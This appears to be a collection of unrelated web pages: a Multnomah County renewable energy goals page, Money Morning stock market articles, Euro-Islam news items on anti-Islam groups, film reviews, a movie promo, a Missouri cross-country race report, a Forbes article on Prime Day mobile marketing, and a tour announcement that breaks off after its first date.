On June 1, 2017, the Multnomah County Board of Commissioners followed up the Chair’s announcement by adopting a resolution committing the County to a just transition to renewable energy. The Resolution has three key commitments:
To establish a goal to meet 100 percent of community-wide electricity needs in Multnomah County with renewable energy by 2035.
To establish a goal to meet 100 percent of community-wide energy needs in Multnomah County with renewable energy by 2050.
To prioritize community-based development of renewable energy infrastructure, and set a target of supplying 2% of community-wide energy needs via such infrastructure by 2035.
The resolution was developed in partnership with the City of Portland and stakeholders representing community organizations, environmental groups, utility companies, and environmental justice nonprofits. This bold vision was an acknowledgment that the rapid decarbonization of the economy is required to sustain a livable climate. “In the face of a historic dereliction of duty at the federal level to address the climate crisis, our community stood up to say enough. We will take bold steps that correspond with the magnitude of the challenge we face,” said Chair Kafoury.
Chair Kafoury and Commissioner Stegman marching in support of youth suing the Federal Government for a safe climate.
In addition to the main goals set out above, the resolution also highlighted other important actions:
100% renewable electricity for MultCo operations by 2018.
Support energy efficiency and low-income weatherization.
Support increased affordable transit and electrify transit fleets.
Support utility rate relief for low-income customers and green jobs
Advocate for clean energy in regulatory processes and through partnership with utilities.
To partner with Oregon tribes and native communities, communities of color, and low-income communities to address environmental, economic, and social inequities.
To oppose the rollback of climate policy at the federal level.
Include these goals in the update to the Climate Action Plan.
Report to the Board every two years
This page is meant to serve as a clearinghouse for content related to the progress that the County is making on implementing these goals. In the menu on the right side of the page, find summaries and video recaps of the community forums held at Multnomah County in effort to discuss ideas, challenges, and to provide insight on creating the path to achieving a 100% renewable economy. Look for news, videos, and events related to the efforts that are relevant to these goals.
Multnomah County Board unanimously adopts 100 percent renewable energy goal
"A pledge to our children's future'' moving to 100 percent renewable energy
City of Portland and Multnomah County leaders vowed today to transition to 100 percent clean energy by 2050.
Emissions from County Operations 64% below 2007 Baseline
Greenhouse gas emissions from Multnomah County operations are 64% below the 2007 baseline year according to the 2019 annual Resource Conservation Report.
Walking and Rolling to School: Updates from the East County’s Safe Routes to School program
Safe Routes to School provides fun and safe opportunities for kids to walk and bike to school, and serves students in East County schools, including Fairview, Gresham, Troutdale, and Wood Vilage.
‘It will take all of us’: Commissioner Vega Pederson rallies local organizations, policy makers at Community Energy Justice Summit
Roadmap to Solar for Affordable Housing
The report focuses on how much energy could be produced by outfitting affordable housing units in Multnomah County with solar panels, and investigates what it would mean for families who live there.
Pathways to 100% Renewable
Journey to 100% Renewable: Introduction to Deep Decarbonization
Pathways to 100% Renewable: Ensuring an Equitable Transition to a New Energy Economy
Pathways to 100% Renewable: Decarbonizing the Transportation Sector
Chair Kafoury Hosts Forum on Energy Efficiency as a Pathway to 100% Renewable Energy
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Subject: Why Apple Buying GoPro Makes Sense
URL: http://mney.co/1OXGCwg
nine × two = Required Please enter the correct value.
Why Apple Buying GoPro Makes Sense
By David Zeiler, Associate Editor, Money Morning • @DavidGZeiler • December 11, 2015
An analyst's suggestion that Apple buying GoPro would fit the tech giant's strategic goals sent GPRO stock soaring 11.5% Thursday (yesterday).
It wasn't the first time someone had floated the idea of an Apple Inc. (Nasdaq: AAPL) deal for GoPro Inc. (Nasdaq: GPRO).
Back in September, Northland Capital analyst Gus Richard said, "GoPro would be an interesting acquisition for Apple from both a hardware, software and content prospective." That news lifted the GPRO stock price 12% over the following three days.
Yesterday it was FBR & Co.'s Daniel Ives who made a case for possible Apple acquisitions of Box Inc. (NYSE: BOX), Adobe Systems Inc. (Nasdaq: ADBE), and Tesla Inc. (Nasdaq: TSLA), as well as GoPro.
"We believe an acquisition of GoPro would make sense for Apple; action cameras are uniquely positioned at the intersection of Apple's smartphone, wearables, and multimedia offerings," Ives said in a research note. "Additionally, GoPro's new product cycles could open the door to areas where Apple's competitors are investing heavily (e.g., drones, VR), and Cupertino has been playing catch-up. We also see strategic value in GoPro being integrated with Apple's strong multimedia ecosystem (e.g., iTunes, Apple TV, etc.)."
The notion of AAPL buying GPRO definitely has merit…
Why It's Easy to See Apple Buying GoPro
Financially, an Apple acquisition of GoPro is no problem. GoPro has a market cap of just $2.5 billion. And even with a bit of a premium, any Apple-GoPro deal is unlikely to exceed $3 billion. That's about what Apple paid for Beats Electronics last year.
Apple, of course, is flush with cash. It has about $203 billion in cash and equivalents on its balance sheet.
Now let's examine some of Ives' points more closely.
Wearable tech: Apple has already ventured into the wearable tech arena with the Apple Watch. Research firm IDC estimates the wearable tech market will grow 173.3% in 2015 to 72.1 million units, and will grow at a compound annual growth rate of 42.6% over the next five years. Adding GoPro's popular wearable cameras would give Apple a bigger presence in this growth market.
And while many suspect Apple is already working on a wearable camera based on a patent filing revealed in January, buying GoPro would give any existing efforts a huge boost.
But while the wearable camera business is the most obvious reason for Apple to buy GoPro, these considerations are actually more compelling…
Tags: AAPL buying GPRO, AAPL-GPRO deal, Apple Buying GoPro, Apple-GoPro deal, GoPro stock, GPRO stock, Nasdaq: AAPL, should Apple buy GoPro, will apple buy gopro
six − = five
GPRO 0.02 (0.46%) 4.29
AAPL 3.49 (1.11%) 318.73
MSFT 0.93 (0.56%) 167.10
TSLA -2.99 (0.58%) 510.50
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Subject: Dow Jones Industrial Average Pulls Back from Record Highs as Rising Interest Rates Rattle Investors
URL: https://mney.co/2zQFcEd
+ 3 = twelve Required Please enter the correct value.
Follow Morning Market Alert
Stocks: amzn, BKS, FB, GE, STZ
Profit Alerts: Morning Market Alert
Dow Jones Industrial Average Pulls Back from Record Highs as Rising Interest Rates Rattle Investors
By Garrett Baldwin, Behavioral Trading Specialist, Money Morning • October 4, 2018
two × = sixteen
The Dow Jones Industrial Average fell over 80 points this morning as rising interest rates upset investor sentiment. Interest rates are pushing higher around the globe, increasing borrowing costs in a world already swimming in debt.
This morning, the 10-year Treasury bond hit its highest level since July 2011. The 30-year bond is at its highest rate since October 2014. Investors anticipate that the U.S. Federal Reserve will raise interest rates at least one more time in 2018.
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Here are the numbers from Wednesday for the Dow, S&P 500, and Nasdaq:
Index Previous Close Point Change Percentage Change
Dow Jones 26,828.39 54.45 0.20%
S&P 500 2,925.51 2.08 0.07%
Nasdaq 8,025.09 25.54 0.32%
Now here's a closer look at today's Money Morning insight, the most important market events, and stocks to watch.
Life-Changing Profit Potential: One tiny firm is rapidly developing the parts for a game-changing technology – and the gains from its stock, trading for less than $10, could turn every $1,000 invested into $4,719. Learn more…
The Top Stock Market Stories for Thursday
Positive economic data pressed the 10-year Treasury bond to its highest levels in seven years. Hiring data published yesterday topped expectations, and the markets believe that Friday's official jobs report will see unemployment fall and wage growth increase. On Wednesday, ADP reported that private payrolls increased by 230,000 last month, a figure that shattered consensus expectations of 168,000.
The Irish Data Protection Commission has launched a probe into a hack of Facebook Inc. (NASDAQ: FB) that breach affected up to 50 million accounts. Facebook could potentially have to pay a $1.6 billion fine should the commission rule that it failed to safeguard user information.
As we reported on Monday, General Electric Co. (NYSE: GE) announced that its CEO John Flannery will be stepping down. The announcement brings a tumultuous year for him at the helm to a close. Yesterday, Money Morning Associate Editor Alexander Bird dug under the hood of General Electric and Flannery's tenure. The outcome: GE's financial problems are even worse than you can imagine. Here's what you need to know about GE stock and how you can profit from the company's announcement.
Money Morning Insight of the Day
He's Brash. He's Bold. And He's Undefeated.
Money Morning Special Situations Strategist Tim Melvin unveiled his powerful secret to becoming the only undefeated trader that we know of on Wall Street. He has 119 stock-picking wins… and zero… that's right, ZERO… losses. And he's unveiled his strategy to an exclusive group of Money Morning readers. Find out how you too can become undefeated… right here.
Stocks to Watch Today: STZ, AMZN, BKS
Constellation Brands Inc. (NYSE: STZ) leads today's list of companies reporting earnings. The spirits giant reported earnings per share of $2.87 on top of $2.30 billion in revenue. Those figures topped consensus expectations of $2.58 on top of $2.25 billion. The company also announced it had increased its 2019 fiscal guidance.
Amazon.com Inc. (NASDAQ: AMZN) is generating some negative press this morning. The e-commerce giant had announced an hourly wage hike for its workers on Tuesday. However, as we dig deeper into the announcement, it turns out that the firm has eliminated monthly bonuses and stock awards from its hourly employees. In addition, Bloomberg is reporting that Chinese equipment manufacturer Super Micro may have allowed microchips that could be used for spying into equipment run in Amazon Web Services. Amazon has denied the report.
In deal news, Barnes & Noble Inc. (NYSE: BKS) shares popped 18% on news that the firm is exploring a potential sale. According to reports, the firm has received interest from several parties, including the firm's chair, Leonard Riggio, who developed Barnes & Noble's modern franchise in 1971. Shares of BKS stock had been off about 18% since January as the firm continues to struggle against Amazon and faces a difficult retail environment.
Look for other earnings reports from Costco Wholesale Corp. (NASDAQ: COST), International Speedway Corp. (NASDAQ: ISCA), and Sky Solar Holdings Ltd. (NASDAQ: SKYS)
Follow Money Morning on Facebook, Twitter, and LinkedIn.
Browse Garrett's articles | View Garrett's research services
Garrett Baldwin is a globally recognized research economist, financial writer, and consultant with degrees from Northwestern, Johns Hopkins, Purdue, and Indiana University. He is a seasoned financial and political risk analyst, with a focus on stocks, hedge funds, private equity, blockchain, and housing policy. He has conducted risk assessment projects for clients in 27 countries, and consulted on policy and financial operations for some of the nation's largest financial institutions, including a $1.5 trillion credit fund, a $43 billion credit and auto loan giant, as well as two of the largest Wall Street banks by assets under management.
Garrett joined Money Map Press as an economist and researcher in 2011, specializing in alternative strategies with an emphasis on fundamental and technical analysis.
Tags: dow jones today
Morning Market Alert (this article)
FB 0.36 (0.17%) 222.14
GE 0.02 (0.25%) 11.81
STZ 0.91 (0.48%) 189.95
AMZN -13.22 (0.70%) 1,864.72
BKS 0.01 (0.15%) 6.49
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Tag: David Horowitz
American Anti-Islam Groups Fund Dutch Politician
Geert Wilders, the leader of the Dutch Freedom Party (PVV), has received funding from anti-Islam groups in the United States, Reuters reports. Daniel Pipes, director of the Philadelphia based think tank The Middle East Forum, admitted to funding Wilders’ legal defense against charges of inciting racial hatred. Pipes declined to reveal the quantity of his contributions. David Horowitz also reported paying Wilders “a good fee” for two speeches, as well as to covering a security fee to the Philadelphia police department incurred for protests surrounding Wilders’ public appearance. Both Pipes and Horowitz denied funding Wilders’ political activities in the Netherlands, and Wilders responded that he never requests a fee for speaking engagements, though travel and accommodation expenses may be paid. Legislation is currently in process in the Dutch parliament to force parties to reveal their donation sources.
Author Euro-IslamPosted on 20th September 2012 Categories Issues in PoliticsTags Daniel Pipes, David Horowitz, donation, Dutch Politician, Forum, Freedom Party, funding, Netherlands, PVV, Wilders
Merchants of menace: Making millions selling fear of Islam
According to an investigative report by The Tennessean’s Bob Smietana, anti-Muslim groups are making millions selling fear of Islam to ultra-conservative Christian audiences across the country. Smietana reports on the emergence of “a multimillion-dollar industry of self-proclaimed experts who spread hate toward Muslims in books and movies, on websites and through speaking appearances.”
The report focuses much of its attention on Washington D.C.-based SAE Productions, which according to tax documents collected nearly $4 million in revenue in 2008 for “researching alleged ties between American Muslims and overseas terrorism.”
The report includes tax documents on five other “anti-Jihad” organizations, including the Californi-based David Horowitz Freedom Center, which raised more than $1 million in 2008 from its “Terrorism Awareness Project” and its Web-based “Jihad Watch.”
Author researcherPosted on 11th November 2010 Categories News by Country, News by Issue, Discrimination and Xenophobia, Interfaith and Multicultural Engagement, Issues in Politics, Muslim Advocacy and Organizations, Public Opinion and Islam in the Media, UncategorizedTags American Muslims, Christian, David Horowitz, fear, Jihad Watch, SAE, tax, Tennessean Bob Smietana, Washington
Wilders visit to US college cut short
A question and answer session by Dutch anti-Islam politician Geert Wilders at a college in the United States was cut short on Tuesday after “the tone of the event began to turn ‘nasty’ and some of the several hundred students ‘began jeering’”.
Wilders visited Temple University in Philadelphia in order to screen his movie Fitna. Associated Press reports that Wilders’ “remarks were met by a mixture of applause and boos, and occasionally gasps — particularly when he stated that ‘our Western culture is far better than the Islamic culture and we should defend it.’” Wilders’ visit was supported by a student group identified as Temple University Purpose.
Author researcherPosted on 23rd October 2009 Categories Discrimination and XenophobiaTags Associated Press, college, David Horowitz, Fitna, Geert Wilders, Islamic culture, movie, students, Temple University, Temple University Purpose, US, Wilders
Muslim leader decries American ‘bigotry’ against Islam
Hussein Ibish, founder of for Arab-American leadership in Washington DC told an audience at Tulane University that America’s cultural view of Islam and American Muslims is steadily deteriorating under an onslaught of bigotry in news programming, op-ed pieces, and in the blogosphere. Since 9/11, he said that commentators such as Malkin, Ann Coulter, Charles Krauthammer, Daniel Pipes and David Horowitz have transferred old anti-Arab stereotypes to Islam in “incredibly bigoted commentary” that would not have been tolerated before September 11th, 2001. “This is what explains the collapse of the good name of Islam,” said Ibish, who also believes that with this context, the West sees Islam as constantly suspicious, which thenceforth only further legitimizes the calls for ethnic and religious profiling.
Author Euro-IslamPosted on 21st February 2008 Categories UncategorisedTags Ann Coulter, Arab American, Charles Krauthammer, Daniel Pipes, David Horowitz, DC, Hussein Ibish, religious profiling, Washington
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Motion State Review
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Tag Archives: Rob Reiner
This Is Spinal Tap (1984)
March 9, 2016 shannoncurley 3 Comments
This Is Spinal Tap is what Almost Famous would have been if Almost Famous didn’t take itself seriously. Where Famous follows the fictional band “Stillwater” on their rise to success and semi-biographically follows young journalist William — based on the real-life story of director Cameron Crowe — as he becomes a writer for Rolling Stone at age 15, This Is Spinal Tap follows fictitious British band “Spinal Tap” as they embark on a U.S. tour that all but finalizes that their days of glory are coming to an end (hint: watch as their venues get smaller and smaller). However, while the rockumentary-mockumentary This Is Spinal Tap is entirely satiric and parodical in its nature, its brilliance is right on par with Almost Famous, a movie I consider to be nearly perfect.
Directed by Rob Reiner, perhaps better known for his role directing The Princess Bride, This Is Spinal Tap balances that quintessential Bride humor with a genuine ode to ’80s rock band nostalgia that will warm hard rock, heavy metal hearts, and keep them laughing. The profile of the band starts with a typical interview, wherein the band hilariously describes the mysterious deaths of their various drummers throughout the band’s history. One, they claim, actually exploded. This becomes a theme as the movie progresses, and despite being simplistic in nature, never really stops being funny.
Continue reading This Is Spinal Tap (1984) →
Almost FamousCameron CroweChristopher GuestRob ReinerThe Princess BrideThis Is Spinal TapWayne's World
March 5, 2015 pbuscone
According to my mom Misery was the first movie I ever watched start to finish, late one night in one of my first few weeks when I just didn’t want to sleep. Apparently all I wanted to do was watch an utterly insane Kathy Bates hold James Caan against his will in her snowy, isolated Colorado home. A lifetime of watching movies later, I returned to that first movie that started it all for me as a viewer (full disclosure: I can’t seem to find my notes on it from a couple decades back).
My first thought upon re-watching my first film: it’s no wonder I couldn’t sleep! I probably couldn’t sleep for weeks. Kathy Bates is so terrifyingly good as the psychotic Annie Wilkes — writer Paul Sheldon’s (James Caan) “biggest fan” — that bipolar does not even being to describe her. One second, she is exactly as self-advertised: Sheldon’s biggest fan, in pure admiration. However, one slip up by Sheldon, such as killing off the main character in his “Misery” series of novels, and she becomes a different person all together — violent, inconsolable, and capable of anything. Regardless of which mood Wilkes happens to be in, though, it is always clear that she will not let her favorite writer go, ever. They are meant to be together, or at least that’s what she thinks.
Continue reading Misery (1990) →
Anthony HopkinsFargoJames CaanKathy BatesMiseryRichard FarnsworthRob ReinerStephen King
December 11, 2014 John Hodge
This is certainly one of those films that you either absolutely love or downright hate, and I can understand why. Martin Scorsese’s latest work, The Wolf of Wall Street, really isn’t that much different from many of his other pictures except for the intensity of the vulgarity -the literal sex, drugs and rock n’ roll – which turns certain people off from the film. The use of 569 F-words, numerous sex scenes including a gay orgy, the consumption of copious amounts of Vitamin B (posing as cocaine) and Quaalude’s, as well as speeding cars, helicopters and yachts, all add to the excessive feeling and tone that the movie captures so well, love it or hate it. Whether or not you enjoyed this film, you cannot deny how energized it is and that watching it was probably the quickest 180 minutes of your life.
It is easy for someone watching The Wolf of Wall Street to miss many of the film’s truly great aspects due to this vulgarity. The endless bare breasts and drunken and/or high (usually and) benders that the majority of the characters go on may serve as a kind of invisibility cloak for the less well-trained moviegoer. First off, the wittiness, intelligence, and authenticity of the dialogue is likely the most impressive thing about The Wolf of Wall Street. The script, penned by the Sopranos genius Terry Winter, is undeniably phenomenal; see “the McConaughey lunch scene,” “the Jean Dujardin negotiating scene,” “the epic f@#king DiCaprio speech scenes.” At the same time, however, Scorsese encourages his muses to improvise, delve deeply into their characters and bring that necessary authenticity to their performances and the film. It is this combination of impeccable writing and spontaneous inspiration that makes the dialogue in this film so good.
Continue reading The Wolf of Wall Street (2013) →
Jean DujardinJon FavreauJonah HillLeonardo DiCaprioMargot RobbieMartin ScorseseMatthew McConaugheyRob ReinerSpike JonzeTerry WinterThe AviatorThe SopranosThe Wolf of Wall StreetWhat's Eating Gilbert Grape
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Enter an incredible new world with two clips from 'Missing Link'
By Silas Lesnick | Apr 5, 2019
Next week, LAIKA is set to release their fifth stop motion adventure, “Missing Link,” following in the tradition of their “Coraline,” “ParaNorman,” “The Boxtrolls” and “Kubo and the Two Strings”. You can meet Mr. Link himself (voiced by Zach Galifianakis) as well as intrepid explorer Sir Lionel Frost (Hugh Jackman) in two new clips, available to watch in the players below!
This April, meet Mr. Link: 8 feet tall, 630 lbs, and covered in fur, but don’t let his appearance fool you… he is funny, sweet, and adorably literal, making him the world’s most lovable legend at the heart of “Missing Link,” a globe-trotting family adventure from LAIKA. Tired of living a solitary life in the Pacific Northwest, Mr. Link recruits fearless explorer Sir Lionel Frost to guide him on a journey to find his long-lost relatives in the fabled valley of Shangri-La. Along with adventurer Adelina Fortnight, our fearless trio of explorers encounter more than their fair share of peril as they travel to the far reaches of the world to help their new friend. Through it all, the three learn that sometimes you can find a family in the places you least expect.
“Missing Link” also features the voice talents of , Zoe Saldana, Timothy Olyphant, David Walliams, Emma Thompson, Matt Lucas, Ching Valdes-Aran, Stephen Fry and Amrita Acharia. Directed By Chris Butler and produced By Travis Knight and Arianne Sutner, “Missing Link” hits the big screen April 12, 2019.
You only get one shot at Universal's '1917' short film contest
Your two-minute short film could win you a trip to the premiere of Sam Mendes' WWI epic.
Is this the end of Captain America?!
Chris Evans wraps production on the fourth 'Avengers' and hints that perhaps his fearless trip is done.
Maleficent II
Return to the moors with a new 'Maleficent: Mistress of Evil' featurette
Angelina Jolie, Michelle Pfeiffer and Elle Fanning headline the Walt Disney Pictures sequel, on the big screen October 18.
Moviebill has a 'Little' conversation with writer and director Tina Gordon
Go behind the scenes of this Friday's big screen comedy starring Marsai Martin, Regina Hall and Issa Rae.
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Foot Locker Midwest Regional: How Did Our Missourians Do?
The Foot Locker Midwest Regional, held in Kenosha, WI on the campus of the University of Wisconsin-Parkside, officially marked the end of cross country season in Missouri. For those who are unfamiliar with this course, it does involve a number of hills, particularly off the start, but also includes a steep downhill just after the mile and some ups and downs in the second half of the race. A much more challenging course than Terre Haute - especially when the wind is whipping (typical in November) - it still can produce some fast times. We sent a small contingent up to Wisconsin and they fared well against some of the best competition in the Midwest!
Six boys competed in the Boys Seeded Race on Saturday. The top 10 individuals from this race qualified for the National meet in San Diego in two weeks. The closest Missourian on the boys side was, as expected, Blue Springs' Class 4 State Champion Victor Mugeche, who took 14th in 15:28.9. He was 18 seconds off of a Nationals bid as this year's race was rather stacked with talent, led by Illinois's Danny Kilrea in 14:53.3.
Following Mugeche, but not very close behind, was West Plains senior Ben Stasney. After finishing 3rd in Class 4 three weeks ago, Stasney returned to the cross country course for 15:57.4 in Kenosha. Stasney was 46th in this one as the Midwest states continued to pile on in front of the Missourians.
Hickman junior Chandler Gibbens was close behind Stasney in time (16:02.5), but not as close in place as the logjam continued deep into the race. He took 56th, ten spots behind Stasney, after taking 4th, one spot behind him at the Class 4 state meet.
Juniors Clayton Whitehead (Carthage) and Christian Baker (Kirkwood) were 4th and 5th for Team Missouri. Whitehead, 17th in Class 4 this season, took 88th in 16:17.3. Baker, the Suburban Conference Champion and 29th in Class 4 this season, was 100th in 16:25.8 -- probably the fastest time he has ever run to barely sneak into the top 100 in a race. Blue Springs South senior Zachary Grover was the 6th and final runner from Missouri as he finished 140th in 16:43.4. Grover was 35th in Class 4 this season.
Missourians also populated the Freshman/Sophomore race and Junior/Senior race. Blue Springs High School had the most athletes in these races as Brock Wooderson competed in the Freshman/Sophomore race and Oaklee Hauschild, Morgan Cauveren, and Gabe McClain all competed in the Junior/Senior race.
Wooderson, a freshman and the #7 on the Wildcats Class 4 title team, took 11th in the freshman/sophomore race, running 17:06.3. Wooderson was one of the fastest freshmen in the state this year and ran 16:58 at the Nike Cross Nationals Midwest Regional two weeks ago. Blue Springs South sophomore Dillon Grover ran 18:18.1 for 60th in the 9/10 race, as well.
The rest of the Blue Springs boys finished in the top 15 in the Junior/Senior race as Hauschild was 6th in 16:44.6 with Cauveren right behind him in 7th in 16:45.2. McClain was 13th in 17:02.6. Also in this race was Eureka's Zachary Christensen in 17:58.7, taking 63rd.
Foot Locker Results
Christian Baker
Morgan Cauveren
Zachary Christensen
Tori Findley
Chandler Gibbens
Dillon Grover
Zachary Grover
Oaklee Hauschild
Danielle Hotalling
Gabe Mcclain
Victor Mugeche
Madelyn Robinson
Brock Wooderson
Blue Springs High School
Blue Springs South High School
Carthage High School
Eureka High School
Hickman High School
Kirkwood High School
Lee's Summit North High School
Lindbergh High School
West Plains High School
MoMileSplit All-Decade Track and Field Team: Classes 1-3 Jan 6, 2020
Class 5's Pole Vaulters to Watch in 2020 Jan 14, 2020
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August 1, 2019 July 29, 2019 Peggy Anne Salz Mobile Commerce
A week after Amazon Prime Day and a review of the data reveals the two-day shopping extravaganza didn’t just break records for the online commerce giant. It broke new ground for smart retailers who leaned into this annual event to create a deal event of their own or simply doubled-down on campaigns to drive customer connections and sales conversions online and in-app.
As Amazon Prime Day has matured, it has created a new shopping season on mobile that has allowed the e-comm giant to grow both app downloads and the time consumers spend using the app to search and shop. At Apptopia—a company that provides app publishers and developers access to app intelligence worldwide to track costs and conversions globally—Adam Blacker, VP Insights and Global Alliances, did the math (dividing the sessions each year by the corresponding number of hours the Prime Day event is live).
Downloads and sessions of Amazon’s mobile app have increased each year, boosted by Prime Day.APPTOPIA
He concludes “sessions are growing year over year at a significant rate.”
“No longer just about Amazon”
A great mobile experience clinched the deal for a wide range of retailers, not just Amazon. A post-Prime-day analysis by Kiri Masters published in Forbes quotes Rob Garf, Salesforce VP of Industry Strategy and Insights, who sheds important light on the increasing impact of mobile, which has established itself as the go-to for consumers looking for shopping inspiration and assistance. Overall, Garf observes, nearly half (49%) of orders and 65% of visits happened on mobile devices across the two-day shopping event. These numbers represent “an impressive 20% year-over-year growth rate” for mobile and mark a “new milestone” for Amazon and all the brands and retailers that piggyback on the annual event to promote their own sales.
Competition for shoppers was hotter than many expected, including RetailMeNot, a leading savings destination providing consumers savings from retailers, brands, restaurants and pharmacies. Ahead of this year’s Prime Day, RetailMeNot had forecast that 250 retailers would get in on the action with their own counter-sales and offers, and in the end, well over 300 retailers participated. That’s up 55 % from the 194 retailers counted in 2018 and 152% from the 119 the year before that. “Amazon Prime Day is no longer just about Amazon,” Michelle Skupin, a RetailMeNot spokesperson, told Quartz in an interview.
Meanwhile, data from Adobe Digital Insights drawing on an analysis of more than 1 trillion visits to U.S. retail websites shows larger retailers (those with revenues over $1 billion) saw their average daily revenues during the two-day shopping spree jump by 54% on Monday and 72% on Tuesday. Unlike last year, when smaller retailers (with annual sales under $5 million) saw revenues shrink on Prime Day, Adobe reports this group saw sales get a combined lift of 28% over the two days.
Making big gains with mobile on Prime Day—and every day
In retrospect, some retailers were able to score big on Prime Day, while others got left out in the cold. In a market where hyperconnected shoppers reach to mobile to pre-plan and research products before they make the purchase plunge, it’s not surprising that the quality of the mobile shopping experience has emerged as a major factor that can make or break a sale. In fact, new research from Periscope By McKinsey, based on a survey of 2,500 consumers across France, Germany, the U.K. and the U.S. found that the vast majority planned to use digital and mobile to do their homework in the run-up to this year’s Prime Day. Only 21% said they expect to shop spontaneously on the day.
This explains why the retailers that were successful over this period all made significant investments in their mobile apps and websites to improve customer experience on mobile. It’s a smart (even decisive) strategy to cash in on what has become a new holiday in the retail industry. Indeed, a whopping 84% of retailers say Prime Day is the most important event for driving the entire back-to-school shopping season. And BTS is a blockbuster season, worth an eye-watering $80.7 billion, according to the National Retail Federation.
But Amazon Prime Day is also a global phenomenon, targeting consumers in 18 countries and whetting appetites in many more for attractive offers and a personalized shopping experience the whole year round. Against this backdrop, the sheer number of new shopping app installs is showing healthy growth, according to Apptopia’s Blacker, with markets such as Brazil, Indonesia, China and India leading the pack. However, it’s a different story in the U.S., where Blacker observes a “negative growth rate of -0.5% from 2017 to 2018.”
This global trend is also supported with data from the 2019 Mobile Shopping Apps report from mobile app marketing and retargeting platform Liftoff. It draws on internal data, as well as an analysis of retention data from mobile measurement company Adjust, to find that shopping app users worldwide are primed to make a purchase. Not surprisingly, acquisition costs are down nearly one-third compared to the previous year and conversion rates are in some cases 50% higher. Shoppers in the U.S., however, aren’t pushovers—a point proven by an install-to-purchase rate of 6.5% (38% less than the global average rate of 10.5%).
Connect the dots, and scaling in this mature market clearly tests a marketer’s mettle. To help retailers and marketers activate and motivate mobile shoppers every day, not just Prime Day, I draw three key lessons from my interviews with three accomplished mobile marketers whose expertise has earned them the title Mobile Heroes.
#1 Choose ad creatives that complement the customer journey.
Amanda Carvell, Digital Marketing Manager, RetailMeNotRETAILMENOT
During her six years at RetailMeNot, Amanda Carvell has mastered much of what it takes to drive acquisition and rocket retention. The starting point is data on how consumers behave within the app, she says. It’s the first step to understanding and evaluating the metrics that lead to lifetime value (LTV), a north-star KPI Carvell and her team examine and re-evaluate as part of an audit every six months to make sure messaging and mobile ad creatives match where the user is in the lifecycle.
At the top of the funnel, and in the initial phases post-install, it makes sense to tailor campaigns about what users are looking for in that moment, Carvell explains. For RetailMeNot, this means catering to the target demographic of household enthusiasts by delivering relevant deals around shopping and retail. But data showed that users of the app were actively engaging with restaurant deals, particularly from quick-serve restaurants and food courts in shopping malls. “We realized there was a whole subset of food and dining deals that consumers were actively engaging with that could be brought to the forefront in creative messaging to drive action,” Carvell recalls.
Acting on that insight prompted her team to message users around a new range of dining-related deals and even to guide new users (audiences identified by data as cohorts) directly to nearby restaurant deals within the app. “By focusing on delivering mobile ad creative based on what consumers were interacting with most in the app we drove a 30% lift in conversion rates,” she explains. The bottom line: Developing campaigns based on company-defined value prop is easy, “but it’s also important to understand how consumers organically interact with your app–no matter how different or surprising from your original assumptions–to make the right choices about creative that matches with your audience’s wants and needs.”
#2 Move beyond demographics to identify your most valuable customers.
Erica Carter, Marketing Manager at IbottaIBOTTA
Effective app marketing engages with users throughout the lifecycle based on two inputs: hard data around the “who” of your customer base and deep insights into the “why” of how consumers use your app. This is the view of Erica Carter, Marketing Manager at Ibotta, a company that lets users earn cash back on in-store or in-app purchases. It’s important to have a firm grasp of audience demographic data, but marketers also need to dig deeper into user psychographics. “Knowing the ‘who’ and the ‘why’ is a must to move the needle on your acquisition strategy,” Carter explains.
At one level, she says, this means gathering consumer research—and lots of it. At Ibotta, a team is dedicated to collecting feedback from users and non-users before launching new products or features in the app. The outcome is a wealth of insights around what people value in the app experience. “This allows us to make sure we present these same values in our ad creatives and messaging,” Carter explains. Of course, consumer surveys capture what people think, but their actions may tell a different story. For this reason, Carter also urges marketers to factor user behavior data and patterns into the equations. “At Ibotta, our core user base is made up of the main shoppers in the household. But within that broad user base, users behave very differently according to their interests, shopping habits and values.”
Moving beyond demographics to focus on psychographics equips marketers to tailor their messaging, ad creative, and value proposition to match the needs of key user segments as they move through the app lifecycle. “Audiences evolve, and product offers aren’t static, so marketing is always changing to fit the audience,” she explains. “When pushing advertising dollars, we ensure that we are matching the right value proposition with the correct creative to the right audience, always clearly communicating how Ibotta can add value based on the user’s purchasing habits and preferences. Carter says following this approach has allowed Ibotta to “scale its high-volume channels by over 370%,” while decreasing the cost to acquire a user who purchases by “46% within only four months.” The bottom line: To scale, you have to understand who your audience is and what motivates them—and spend ad dollars on compelling campaigns and dynamic creatives that engage this segment of high-value users over and over again.
#3 Fill the top of the funnel—and don’t fret about performance.
Mike Phu, Director of Growth, GOATGOAT
Scaling in a mature market like the U.S. can be an uphill battle. But if you think your channels are approaching saturation, it’s time for you to change your mindset, not your marketing. “I don’t think any marketer can truly exhaust a market of 300 million people in the U.S.,” Mike Phu, Director of Growth at GOAT, the largest marketplace for authentic sneakers, tells me in an interview. He recommends marketers look beyond Google and Facebook to explore demand-side platforms (DSPs) that allow for the management of advertising across many real-time bidding networks, as opposed to just one, like Google Ads.
Marketers need to mix it up, moving beyond digital, mobile, and apps to explore the opportunities offered by TV, radio, podcasts, and influencer marketing. He says, “These are the channels that fill the top of the funnel.” From there, it’s the work of performance marketers to turn browsers into buyers. “You limit yourself when you focus campaigns on consumers who are interested in your product rather than engage all the people who could be interested in what you offer,” Phu explains.
As a rule, Phu recommends marketers invest a “minority portion of their budget in top-funnel marketing” and then measure results on a “blended scale” (melding organic and paid metrics) to bypass the hassle of trying to attribute user activities to non-trackable channels and direct-response channels that can never be 100% accurate. “When you measure on a blended scale, your results improve over time because you’re filling the top of the funnel with a small portion of your budget and converting this audience with the majority of your budget with performance marketing.” The bottom line: watch performance metrics but don’t let them blind you to the benefit of filling the top of the funnel with an audience you can convince and convert with effective and emotive marketing.
Amazon Prime Day has opened the door for enterprising e-comm players of all sizes to benefit from this newest mobile shopping season. Building a roadmap of actions that deploy smart marketers’ best practices as outlined here will set the stage for success for the big day in 2020. While Amazon tapped a new reservoir of consumer interest with Amazon Prime Day, the onus is now on all other retailers to prime their own pumps to draw from the same deep well of shopper demand.
This article first appeared in Forbes.
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KILLSWITCH ENGAGE Announce Spring 2020 Tour with AUGUST BURNS RED
Posted by Robert Pasbani on November 5, 2019 at 12:42 pm
It's pretty wild to me that 2020 is so close that we're already reporting on tours that go down in 2020, and what a tour this is for metalcore fans. Fresh off the release of their new album, Atonement, Killswitch Engage are gearing up to head back on the road in 2020 with an extensive tour of the U.S. (with stops in Toronto and Montreal) to play some material for you fans.
Joining them will be August Burns Red.
Tickets go on sale at 10am local time this Friday. Here is the routing:
3/10 — Cleveland, OH — Agora Theatre [Tickets]
